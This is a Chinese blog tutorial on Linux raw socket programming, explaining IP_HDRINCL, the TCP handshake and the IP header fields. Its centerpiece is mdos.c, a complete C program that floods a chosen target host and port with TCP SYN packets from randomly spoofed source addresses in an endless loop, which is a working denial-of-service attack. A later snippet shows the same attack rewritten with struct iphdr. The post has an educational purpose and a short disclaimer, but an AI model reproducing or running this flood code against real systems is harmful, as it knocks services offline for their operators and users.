Linux网络编程:原始套接字的魔力【上】

基于原始套接字编程

在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:

也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。

今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。

原始套接字的创建方法也不难:socket(AF_INET, SOCK_RAW, protocol)。

重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。

我们常见的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:开发自己的hook函数【实战】(下)
”中我们见到该protocol字段为IPPROTO_RAW时的情形,后面我们会详细介绍。

用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。

先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。

我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是:

(1) 第一次握手:建立连接时,客户端A发送SYN包(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。

(2) 第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK_NUMBER=j+1),同时自己也发送一个SYN包(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。

(3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。

至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1,SYN+ACK表示标志位syn=1和ack=1同时成立。

原始套接字还提供了一个非常有用的参数IP_HDRINCL:

1、当开启该参数时:我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。

2、如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。

开启IP_HDRINCL特性的模板代码一般为:

const
int on =1;

if
(setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){

printf("setsockopt error!\n");

}

所以,我们还得复习一下IP报文的首部格式:

同样,我们重点关注IP首部中的着色部分区段的填充情况。

有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:

点击(此处)折叠或打开

  1. //mdos.c
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4. #include <errno.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <netinet/ip.h>
  12. #include <arpa/inet.h>
  13. #include <linux/tcp.h>
  14. //我们自己写的攻击函数
  15. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
  16. //如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
  17. unsigned short check_sum(unsigned short *addr,int len);
  18. int main(int argc,char** argv){
  19. int skfd;
  20. struct sockaddr_in target;
  21. struct hostent *host;
  22. const int on=1;
  23. unsigned short srcport;
  24. if(argc!=2)
  25. {
  26. printf("Usage:%s target dstport srcport\n",argv[0]);
  27. exit(1);
  28. }
  29. bzero(&target,sizeof(struct sockaddr_in));
  30. target.sin_family=AF_INET;
  31. target.sin_port=htons(atoi(argv[2]));
  32. if(inet_aton(argv[1],&target.sin_addr)==0)
  33. {
  34. host=gethostbyname(argv[1]);
  35. if(host==NULL)
  36. {
  37. printf("TargetName Error:%s\n",hstrerror(h_errno));
  38. exit(1);
  39. }
  40. target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
  41. }
  42. //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
  43. if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
  44. perror("Create Error");
  45. exit(1);
  46. }
  47. //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
  48. if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
  49. perror("IP_HDRINCL failed");
  50. exit(1);
  51. }
  52. //因为只有root用户才可以play with raw socket :)
  53. setuid(getpid());
  54. srcport = atoi(argv[3]);
  55. attack(skfd,&target,srcport);
  56. }
  57. //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
  58. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
  59. char buf[128]={0};
  60. struct ip *ip;
  61. struct tcphdr *tcp;
  62. int ip_len;
  63. //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
  64. ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
  65. //开始填充IP首部
  66. ip=(struct ip*)buf;
  67. ip->ip_v = IPVERSION;
  68. ip->ip_hl = sizeof(struct ip)>>2;
  69. ip->ip_tos = 0;
  70. ip->ip_len = htons(ip_len);
  71. ip->ip_id=0;
  72. ip->ip_off=0;
  73. ip->ip_ttl=MAXTTL;
  74. ip->ip_p=IPPROTO_TCP;
  75. ip->ip_sum=0;
  76. ip->ip_dst=target->sin_addr;
  77. //开始填充TCP首部
  78. tcp = (struct tcphdr*)(buf+sizeof(struct ip));
  79. tcp->source = htons(srcport);
  80. tcp->dest = target->sin_port;
  81. tcp->seq = random();
  82. tcp->doff = 5;
  83. tcp->syn = 1;
  84. tcp->check = 0;
  85. while(1){
  86. //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
  87. ip->ip_src.s_addr = random();
  88. tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
  89. sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
  90. }
  91. }
  92. //关于CRC校验和的计算,网上一大堆,我就“拿来主义”了
  93. unsigned short check_sum(unsigned short *addr,int len){
  94. register int nleft=len;
  95. register int sum=0;
  96. register short *w=addr;
  97. short answer=0;
  98. while(nleft>1)
  99. {
  100. sum+=*w++;
  101. nleft-=2;
  102. }
  103. if(nleft==1)
  104. {
  105. *(unsigned char *)(&answer)=*(unsigned char *)w;
  106. sum+=answer;
  107. }
  108. sum=(sum>>16)+(sum&0xffff);
  109. sum+=(sum>>16);
  110. answer=~sum;
  111. return(answer);
  112. }

用前面我们自己编写TCP服务器端程序来做本地测试,看看效果。先把服务器端程序启动起来,如下:

然后,我们编写的“捣蛋”程序登场了:

该“mdos”命令执行一段时间后,服务器端的输出如下:

因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。

备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。

最后补充一点,看到很多新手经常对struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}纠结来纠结去了,不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义,头文件中对这些结构也做了很明确的说明,这里我们简单总结一下:

struct
ip{}、struct icmp{}是供BSD系统层使用,struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了,参见tcp.h和udp.h。

BSD和INET的解释在协议栈篇章详细论述,这里大家可以简单这样来理解:我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢?良好的编程习惯当然是BSD层推荐我们使用的,struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不?我只能说不建议。看个例子:

我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的,ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节,那么BSD层为什么是28字节呢?留给大家思考。也就是说,我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:

点击(此处)折叠或打开

  1. struct ip *ip;
  2. ip=(struct ip*)buf;
  3. ip->ip_v = IPVERSION;
  4. ip->ip_hl = sizeof(struct ip)>>2;
  5. ip->ip_tos = 0;
  6. ip->ip_len = htons(ip_len);
  7. ip->ip_id=0;
  8. ip->ip_off=0;
  9. ip->ip_ttl=MAXTTL;
  10. ip->ip_p=IPPROTO_TCP;
  11. ip->ip_sum=0;
  12. ip->ip_dst=target->sin_addr;
  13. ip->ip_src.s_addr = random();

改成:

点击(此处)折叠或打开

  1. struct iphdr *ip;
  2. ip=(struct iphdr*)buf;
  3. ip->version = IPVERSION;
  4. ip->ihl = sizeof(struct ip)>>2;
  5. ip->tos = 0;
  6. ip->tot_len = htons(ip_len);
  7. ip->id=0;
  8. ip->frag_off=0;
  9. ip->ttl=MAXTTL;
  10. ip->protocol=IPPROTO_TCP;
  11. ip->check=0;
  12. ip->daddr=target->sin_addr.s_addr;
  13. ip->saddr = random();

结果请童鞋们自己验证。虽然结果一样,但在BSD层直接使用INET层的数据结构还是不被推荐的。

小结:

1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。

2、只有超级用户才能创建原始套接字。

3、原始套接字上也可以调用connet、bind之类的函数,但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。

阅读(31) | 评论(0) | 转发(0) |

0

上一篇:Linux内核很吊之 module_init解析 (下)

下一篇:进程间通信---共享内存

相关热门文章

  • linux 常见服务端口
  • xmanager 2.0 for linux配置
  • 【ROOTFS搭建】busybox的httpd...
  • openwrt中luci学习笔记
  • 什么是shell

热门推荐

    -->

    给主人留下些什么吧!~~

    评论热议

    Linux网络编程:原始套接字的魔力【上】

    时间: 2024-12-15 01:49:36

    Linux网络编程:原始套接字的魔力【上】的相关文章

    Linux网络编程——原始套接字实例:简单版网络数据分析器

    通过<Linux网络编程--原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 MAC 头部(有线局域网) 注意:CRC.PAD 在组包时可以忽略 链路层数据包的其中一种情况: unsigned char msg[1024] = { //--------------组MAC--------14------ 0xb8, 0x88, 0xe3, 0xe1, 0x10, 0xe6, // dst

    Linux网络编程——原始套接字实例:MAC 头部报文分析

    通过<Linux网络编程——原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 MAC 头部(有线局域网) 注意:CRC.PAD 在组包时可以忽略 链路层数据包的其中一种情况: 1 unsigned char msg[1024] = { 2 //--------------组MAC--------14------ 3 0xb8, 0x88, 0xe3, 0xe1, 0x10, 0xe6,

    Linux网络编程——原始套接字编程

    原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据.区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧(数据包).另外,必须在管理员权限下才能使用原始套接字. 原始套接字的创建: int socket ( int family, int type, int protocol ); 参数: family:协议族 这里写 PF_PACKET type:  套接字类,这里写 SOCK_RAW pr

    Linux网络编程——原始套接字能干什么?

    通常情况下程序员接所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用: (2)数据报式套接字(SOCK_DGRAM):一种无连接的 Socket,对应于无连接的 UDP 服务应用. 从用户的角度来看,SOCK_STREAM.SOCK_DGRAM 这两类套接字似乎的确涵盖了 TCP/IP 应用的全部,因为基于 TCP/IP 的应用,从协议栈的层次上讲,在传输层的确只可能建立于 TCP 或 UDP 协议

    Linux 网络编程——原始套接字实例:MAC 地址扫描器

    如果 A (192.168.1.1 )向 B (192.168.1.2 )发送一个数据包,那么需要的条件有 ip.port.使用的协议(TCP/UDP)之外还需要 MAC 地址,因为在以太网数据包中 MAC 地址是必须要有的.那么怎样才能知道对方的 MAC 地址?答案是:它通过 ARP 协议来获取对方的 MAC 地址. ARP(Address Resolution Protocol,地址解析协议),是 TCP/IP 协议族中的一个,主要用于查询指定 ip 所对应的的 MAC(通过 ip 找 MA

    Linux 网络编程——原始套接字实例:发送 UDP 数据包

    以太网报文格式: 详细的说明,请看<MAC 头部报文分析>. IP 报文格式: 详细的说明,请看<IP 数据报格式详解>. UDP 报文格式: 详细的说明,请看<UDP 数据报格式详解>. 校验和函数: /******************************************************* 功能: 校验和函数 参数: buf: 需要校验数据的首地址 nword: 需要校验数据长度的一半 返回值: 校验和 ********************

    LINUX 网络编程 原始套接字

    一 原始套接字 原始套接字(SOCK_RAW)是一种不同于SOCK_STREAM.SOCK_DGRAM的套接字,它实现于系统核心.然而,原始套接字能做什么呢?首先来说,普通的套接字无法处理ICMP.IGMP等网络报文,而SOCK_RAW可以:其次,SOCK_RAW也可以处理特殊的IPv4报文:此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头.总体来说,SOCK_RAW可以处理普通的网络报文之外,还可以处理一些特殊协议报文以及操作IP层及其以上的数据. 既然SOCK_R

    【转】网络编程原始套接字

    转自:http://www.cnblogs.com/hnrainll/archive/2011/09/20/2182423.html SOCKET_STREAM 流式套接字      SOCKET_DGRAM        SOCKET_RAW 原始套接字    IPPROTO_IP IP协议    IPPROTO_ICMP INTERNET控制消息协议,配合原始套接字可以实现ping的功能    IPPROTO_IGMP INTERNET 网关服务协议,在多播中用到 在AF_INET地址族下,

    Linux网络编程和套接字

    1.套接字概述 套接字的本意是插座,在网络中用来描述计算机中不同程序与其他计算机程序的通信方式. 常用的套接字类型有3种: 1)流套接字(SOCK--STREAM):使用了面向连接的可靠的数据通信方式,即TCP套接字: 2)数据报套接字(Raw Sockets):使用了不面向连接的数据传输方式,即UDP套接字: 3)原始套接字(SOCK--RAW):没有经过处理的IP数据包,可以根据自己程序的要求进行封装. 2.常用函数 1.创建套接字函数:成功时返回文件描述符,失败时返回-1 int sock

    Linux网络编程--自定义套接字描述符判定函数issockettype

    套接字描述符和通用文件描述符在形式上没有区别,那么如何判断一个文件描述符是否是套接字描述符呢?下面我们就简单的自定义一个函数issockettype,用于套接字描述符判定. #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> i